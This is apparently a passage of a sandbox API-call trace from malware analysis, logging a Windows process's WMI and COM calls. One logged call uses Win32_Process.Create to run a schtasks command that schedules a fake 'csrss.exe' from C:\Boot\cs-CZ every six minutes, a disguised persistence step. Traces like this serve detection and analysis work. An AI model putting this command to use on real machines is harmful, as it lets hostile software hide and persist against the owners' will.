pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c300, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c300, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c300, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c300, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0067.612] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c300, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0067.613] IWbemServices:GetObject (in: This=0x11c8250, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf461b0, ppCallResult=0x0) returned 0x0 [0067.616] IWbemClassObject:GetMethod (in: This=0x1bf461b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf46520, ppOutSignature=0x1b2fd9e0*=0x1bf46890) returned 0x0 [0067.617] IWbemClassObject:SpawnInstance (in: This=0x1bf46520, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19a30) returned 0x0 [0067.617] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a318*=0, plFlavor=0x294a31c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a318*=8, plFlavor=0x294a31c*=32) returned 0x0 [0067.617] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a318*=8, plFlavor=0x294a31c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a318*=8, plFlavor=0x294a31c*=32) returned 0x0 [0067.617] IWbemClassObject:Put (This=0x1bf19a30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 6 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0067.618] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a3a8*=0, plFlavor=0x294a3ac*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a3a8*=13, plFlavor=0x294a3ac*=32) returned 0x0 [0067.618] IWbemClassObject:Get (in: This=0x1bf19a30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a3a8*=13, plFlavor=0x294a3ac*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a3a8*=13, plFlavor=0x294a3ac*=32) returned 0x0 [0067.618] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf45760) returned 0x0 [0067.618] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0067.618] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0067.626] IUnknown:AddRef (This=0x1bf45760) returned 0x3 [0067.626] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0067.626] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0067.626] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf45768) returned 0x0 [0067.626] IMarshal:GetUnmarshalClass (in: This=0x1bf45768, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.626] IUnknown:Release (This=0x1bf45768) returned 0x3 [0067.626] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0067.627] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0067.627] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0067.627] IUnknown:Release (This=0x1bf45760) returned 0x2 [0067.627] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0067.627] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0067.627] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0067.627] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0067.627] IUnknown:QueryInterface (in: This=0x1bf45760, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0067.627] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0067.627] IUnknown:AddRef (This=0x1bf45760) returned 0x3 [0067.627] IWbemClassObject:Put (This=0x1bf19a30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf45760, varVal2=0x0), Type=0) returned 0x0 [0067.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c000, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0067.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0067.627] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0067.627] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0067.628] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0067.628] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.628] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0067.628] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0067.628] IWbemServices:ExecMethod (in: This=0x11c8250, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19a30, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1a4f0, ppCallResult=0x0) returned 0x0 [0067.779] IWbemClassObject:Get (in: This=0x1bf1a4f0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a6c0*=0, plFlavor=0x294a6c4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf78, varVal2=0x0), pType=0x294a6c0*=19, plFlavor=0x294a6c4*=0) returned 0x0 [0067.779] IWbemClassObject:Get (in: This=0x1bf1a4f0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294a6c0*=19, plFlavor=0x294a6c4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf78, varVal2=0x0), pType=0x294a6c0*=19, plFlavor=0x294a6c4*=0) returned 0x0 [0067.780] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0067.780] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0067.780] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0067.780] IUnknown:Release (This=0x111f638) returned 0x1 [0067.782] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f8210) returned 0x0 [0067.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8210, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0067.782] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8210, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3c480) returned 0x0 [0067.782] WbemDefPath:IUnknown:Release (This=0x11f8210) returned 0x0 [0067.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3c480) returned 0x0 [0067.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0067.783] WbemDefPath:IUnknown:AddRef (This=0x1bf3c480) returned 0x3 [0067.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0067.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0067.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f8230) returned 0x0 [0067.783] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8230, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.783] WbemDefPath:IUnknown:Release (This=0x11f8230) returned 0x3 [0067.783] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0067.783] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0067.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0067.783] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x2 [0067.783] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x1 [0067.783] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0067.783] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c480, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3c480) returned 0x0 [0067.783] WbemDefPath:IUnknown:AddRef (This=0x1bf3c480) returned 0x3 [0067.783] WbemDefPath:IUnknown:Release (This=0x1bf3c480) returned 0x2 [0067.783] WbemDefPath:IWbemPath:SetText (This=0x1bf3c480, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0067.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c480, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.783] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c480, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0067.783] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c480, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0067.783] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c480, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.784] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c480, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.784] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c480, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.784] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0067.784] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0067.784] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0067.784] IUnknown:Release (This=0x111f638) returned 0x1 [0067.786] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f8190) returned 0x0 [0067.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8190, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0067.786] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8190, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3c540) returned 0x0 [0067.786] WbemDefPath:IUnknown:Release (This=0x11f8190) returned 0x0 [0067.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3c540) returned 0x0 [0067.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0067.786] WbemDefPath:IUnknown:AddRef (This=0x1bf3c540) returned 0x3 [0067.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0067.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0067.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f81b0) returned 0x0 [0067.787] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f81b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.787] WbemDefPath:IUnknown:Release (This=0x11f81b0) returned 0x3 [0067.787] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0067.787] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0067.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0067.787] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x2 [0067.787] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x1 [0067.787] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0067.787] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c540, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3c540) returned 0x0 [0067.787] WbemDefPath:IUnknown:AddRef (This=0x1bf3c540) returned 0x3 [0067.787] WbemDefPath:IUnknown:Release (This=0x1bf3c540) returned 0x2 [0067.787] WbemDefPath:IWbemPath:SetText (This=0x1bf3c540, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c540, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c540, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0067.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c540, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 